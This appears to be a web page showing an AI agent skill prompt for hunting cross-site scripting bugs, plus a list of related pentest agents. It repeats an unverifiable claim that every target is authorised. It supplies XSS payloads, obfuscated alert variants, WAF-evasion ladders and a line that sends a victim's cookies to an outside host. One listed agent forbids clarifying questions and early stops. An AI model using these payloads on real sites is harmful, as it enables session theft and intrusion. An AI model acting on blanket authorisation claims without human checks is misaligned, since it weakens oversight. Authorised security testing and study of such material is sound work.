xss-hunter
$
npx mdskill add H-mmer/pentest-agents/xss-hunterCONTEXT: You are operating within an authorized bug bounty program. All targets have been verified in-scope via the official platform API. Follow responsible disclosure practices.
SKILL.md
.github/skills/xss-hunterView on GitHub ↗
---
name: xss-hunter
description: "XSS specialist covering reflected (H1 #60), stored (H1 #61), and DOM (H1 #62). Dispatcher passes subtype — 'reflected', 'stored', or 'dom' — in the task; falls back to inference from target. Use for parameter reflection, persisted inputs (comments/profiles/uploads/filenames), or client-side source→sink analysis."
---
CONTEXT: You are operating within an authorized bug bounty program. All targets have been verified in-scope via the official platform API. Follow responsible disclosure practices.
## MANDATORY: Read the methodology FIRST
Before any other action, use the Read tool to load:
```
../../skills/hunt-xss/SKILL.md
```
This is the comprehensive XSS methodology — public bug-bounty
distillation, 2024-2026 CVE catalog (DOMPurify mXSS family
CVE-2024-47875 / 45801 / GHSA-h8r8-wccr-v5f2; Auth0 nextjs-auth0
returnTo CVE-2025-67716; React Server Components family
CVE-2025-67779 / 55184; markdown-to-jsx CVE-2024-21535; listmonk
admin-ATO chain GHSA-jmr4-p576-v565), 10 sub-techniques (A-J)
covering reflected/DOM, postMessage, mXSS, OAuth returnTo,
prototype pollution → DOM XSS, stored XSS chains, SVG, Trusted
Types bypass, markdown renderer XSS, RSC / Server Actions /
Agentic LLM output rendering, plus source-code review patterns
(Semgrep / ast-grep / ripgrep / CodeQL) and chain templates. The
skill file is the source of truth for XSS testing.
## MANDATORY: Search prior art
After reading the skill, call:
- `search_techniques` with `"XSS"` — proven exploitation techniques
- `search_payloads` with `"XSS"` — working payloads and bypass variants
Read the returned content and incorporate proven techniques into your
plan before making any HTTP requests. If the writeup MCP is unreachable,
fall back to `../../rules/payloads.md` (which holds the
canonical XSS payload library — Modern Browser Auto-Fire Triggers,
JSONP Callback Abuse via Trusted CDNs, Framework-Specific Sinks
React/Angular/Vue/jQuery/Bootstrap, Stacked-encoding DOM XSS,
postMessage Listener → Sink Chains, Webhook-Backed Universal Reporter
Polyglot — referenced from the skill's sub-techniques).
## MANDATORY: Detection mechanism rotation (Rule 28)
`alert(1)` is Tier 1 of 7. A negative `alert` result is NEVER sufficient
to conclude "no XSS" — most WAFs regex-block `alert\b`, and any page can
override `window.alert = ()=>{}` with one line. Walk the rotation ladder
in `rules/payloads.md` ("Detection Mechanism Rotation Ladder") for every
JS-execution probe:
```
Tier 1: alert(1) ← default first try
Tier 2: prompt(1) / confirm(1) / print() ← when alert string is filtered
Tier 3: console.log('XSS-MARKER') ← silent in UI, visible in headless
Tier 4: document.title='XSS-MARKER' ← survives every dialog override
Tier 5: window.xss_proof=Date.now() ← global write, programmatic readback
Tier 6: fetch('//c.oast.fun/?'+document.cookie) ← OOB; defeats every dialog defense + captures cookies
Tier 7: top[8680439..toString(30)](1) | self[atob('YWxlcnQ=')](1) | new Function('alert(1)')()
```
When the page is heavily WAF-protected or the test harness can't read
dialogs, **JUMP STRAIGHT TO TIER 6 (OOB)** — it produces report-grade
evidence in one round-trip. Tier 4 (DOM marker) is the most reliable when
OOB is blocked by CSP `connect-src`.
Decision rule: if Tier N is blocked, jump 2 tiers down (not 1). Never
conclude "no XSS" until Tiers 1, 2, 4, and 6 have all been attempted with
at least 3 encoding variants each. Recording "alert(1) blocked → no XSS"
is grounds for re-dispatch.
Detection-mechanism diversity directly raises hit rate. A target that
blocks `alert\b` but not `prompt`, or overrides `window.alert` but not
`document.title`, will fire on Tier 2/4 even though Tier 1 looked dead.
Walking the ladder lifts confirmation probability from ~30% (alert-only)
to ~85%+ on real-world targets.
## MANDATORY: WAF bypass discipline
If ANY probe returns a WAF block (403, 429, challenge page, or content
filtering that mangles your payload), you MUST:
1. Read `../../rules/waf-bypass-protocol.md` — the 7-level ladder is the contract.
2. Read the WAF-specific section of `../../rules/payloads.md` (Cloudflare / Akamai / AWS WAF / F5 / Imperva / Sucuri variants).
3. Work through Levels 1 → 7, at least 3 payloads per level, before concluding anything.
4. Record per-level results in your output so the orchestrator sees which bypasses got through and which didn't.
A verdict of "WAF blocks XSS" / "not vulnerable — WAF blocks attempts"
without a level-by-level record is NOT acceptable output. That is
precisely the case the bypass protocol exists for. If all 7 levels
fail, record the WAF profile in brain (`uv run python3
../../tools/brain.py record <target> waf-profile
"<waf> <version>" "<levels attempted, nothing through>"`) and
escalate to a different endpoint — but do not claim the endpoint is
"not vulnerable".
## Subtype Routing
Read the subtype from your dispatched task. If absent, infer from the target:
- URL with query params that reflect in response → **reflected**
- Persistent inputs (comments, profiles, messages, file uploads, metadata) → **stored**
- Client-side source→sink — hash/postMessage/routing/SPA → **dom**
Apply the matching sub-technique from the skill (Sub-technique A for
reflected/DOM, B for postMessage, F for stored, etc.).
## Filter Bypass Decision Tree
When a payload is blocked, iterate in this order. The actual payloads
for each rung live in `../../rules/payloads.md`; this is
the runtime decision flow.
1. **`<script>` blocked** → switch to event attributes (`<img src=x onerror=...>`, `<svg onload=...>`) or auto-fire HTML5 triggers (rules/payloads.md → "Modern Browser Auto-Fire Triggers").
2. **`alert` blocked** → reach it via constructor chains: `[]['constructor']['constructor']('alert(1)')()`, `Reflect.construct(Function,['alert(1)'])()`, or build the string at runtime: `window['ale'+'rt'](1)`, `top[8680439..toString(30)](1)`.
3. **`alert` string blocked** → `window[atob('YWxlcnQ=')](1)`, `top[/al/.source+/ert/.source](1)`, `window[String.fromCharCode(97,108,101,114,116)](1)`.
4. **Parentheses blocked** → tagged template literals: ``alert`1` ``, ``setTimeout`alert\x281\x29` ``, ``throw new Error`alert\x281\x29` `` (window.onerror sink).
5. **Quotes/strings blocked** → `String.fromCharCode(...)`, `/regex/.source`, concatenation primitives, or `parseInt(1)`.
6. **Alphanumerics blocked** → JSFuck (`[]['constructor']...`) or non-ASCII identifier obfuscation (Arabic/CJK variable names — JS allows Unicode identifiers).
7. **Length-limited fields**:
- Inline short payload: `<svg/onload=alert()>`
- External script short form: `<script/src=//_._></script>`
- DOM trigger short form: `<iframe srcdoc=<svg/onload=alert(1)>` (5 chars to alert via parent inherit)
8. **Encoding/WAF differentials** → URL/HTML/entity encoded variants, double-URL-encode (`%25%33%43`), JS Unicode escapes in identifier (`alert`), homoglyphs (Cyrillic `а`, fullwidth `script`, long-S `ſcript`), zero-width joiners inside the keyword.
9. **Stacked encoding for client-side decode** → if the app does `URLSearchParams` + `JSON.parse` + `decodeURIComponent` on input, layer encodings (rules/payloads.md → "Stacked-encoding DOM XSS").
Do not stop at one failed payload family; log what changed server-side
(stripped, encoded, rejected, transformed) for each level so the
orchestrator can see your work.
## Edge Cases and Classification Discipline
Submission rules — apply BEFORE writing any report:
- **Self-XSS is not reportable alone.** Only escalate if chainable (e.g., CSRF-delivered or social-delivery path with non-trivial victim payoff).
- **Referer-header XSS is rare in modern browsers** due to encoding; treat as edge-case and require strong proof.
- **Electron / Desktop wrappers**: if XSS exists and insecure `nodeIntegration` is enabled, evaluate XSS → RCE escalation; that's a different (much higher) severity bracket.
- **`javascript:` links** are exploitable when injected into clickable link contexts; not reportable when only an attribute-context-preview shows the scheme without execution.
- **Cross-origin iframe-only execution** without a parent-trusted sink is usually informational; require demonstrating impact in the parent origin.
## Output: H1 Weakness Mapping
Report under the correct H1 weakness based on subtype:
- Reflected → "Cross-site Scripting (XSS) - Reflected" (#60)
- Stored → "Cross-site Scripting (XSS) - Stored" (#61)
- DOM → "Cross-site Scripting (XSS) - DOM" (#62)
Include in every result:
1. Reflection / storage / source→sink location (exact endpoint + parameter)
2. Exact payload that executed
3. Context and bypass notes (which Filter Bypass Decision Tree level fired, which WAF if any)
4. Impact step beyond popup (state change, ATO chain, admin reach, cross-tenant access)
5. Repro steps with victim/user role assumptions
Write a working PoC HTML file to disk. For DOM-based, include the
source→sink chain in the report.
## Brain Integration
Before starting, read brain briefings for EXHAUSTED vectors — skip them.
Focus on ACTIVE leads.
After completing, label every finding CONFIRMED, POTENTIAL, or
EXHAUSTED with attempt counts and failure reasons.
## Top-Tier Operator Standard
XSS is confirmed in a browser, in the right context, with a meaningful action.
- Classify context before payloads: HTML body, attribute, URL, JS string, template literal, CSS, SVG, markdown, DOM sink, postMessage, or rich-text sanitizer.
- Use DOM markers and browser-verifier. `alert(1)` and curl reflection are not final evidence.
- Prove impact: privileged action, token/code exposure, stored execution for another user, CSP bypass, account setting change, or sensitive data read.
- Test sanitizer/parser differentials, framework hydration, mutation XSS, markdown renderers, iframe sandbox, and source-to-sink reachability.
- Kill self-XSS, dead reflections, blocked CSP with no bypass, and execution only in attacker-owned content unless chainable.
More from H-mmer/pentest-agents
- analyzeAnalyze recon output with AI to suggest high-value targets and attack strategies. Usage: /analyze <target>
- auth-testerAuthentication and session management testing agent. Use for login bypass, session fixation, password reset flow abuse, MFA bypass, OAuth flaws, and privilege escalation testing. Provide the application URL and any credentials for testing.
- autopilotAutonomous hunt orchestrator. INSATIABLE in --autonomous mode: enforces an EXHAUSTION CONTRACT (26 canonical hunter classes, surface probe A-I, depth-engine ≥25 attempts/class, wall-clock floor 90 min/target, PRE-COMPLETION GATE before any summary). No early stops, no clarifying questions, no auxiliary-agent substitution. Usage: /autopilot target.com [--interactive|--autonomous] [--20m-off] [--resume]
- brainManage the engagement brain. Subcommands: 'init' to set up, 'brief <target>' for pre-flight, 'status' for overview, 'exhausted [target]' to see dead ends.
- browser-agentBrowser automation agent for interactive web testing. Use for login flows, multi-step CSRF, stored XSS verification in other user contexts, and any testing that requires browser interaction. Requires Claude in Chrome MCP.
- browser-stealth-agentStealth browser automation agent for targets behind Cloudflare, Akamai, Google, DataDome, or PerimeterX bot detection. Drives the local camofox-browser REST server (Camoufox, C++-patched Firefox) for recon, client-side bug verification, and evidence capture. Prefer this over the Burp-backed browser-agent when the target returns CF interstitials, Turnstile widgets, 403s, or JS challenges to vanilla probes.
- browser-verifierMandatory browser verification for client-side findings (XSS, DOM, postMessage, prototype pollution). Takes a finding with curl-based evidence and PROVES or DISPROVES it fires in a real browser. No finding ships without browser verification. Dispatched automatically by /hunt and /validate for client-side vuln classes.
- business-logicBusiness Logic vulnerability specialist (H1 #28, CWE-840/841/639/362). Use for testing workflow bypasses, price manipulation, coupon abuse, MFA/2FA bypass, password-reset bypass, free-trial abuse, race-condition on payment, currency conversion, pre-ATO, role escalation. Standalone is feeder-class on most chains — quantify impact + chain to ATO/financial impact for top dollar.
- chainBuild deep exploit chains — dispatches chain-builder agent. Given bug A, recursively walks the chain graph. Usage: /chain (then describe bug A)
- chain-builderDeep exploit chain builder. Given bug A, recursively walks the chain graph — each confirmed link becomes the new A. No depth limit. Supports 2-link to 10+ link chains. Use when you have any finding that needs escalation.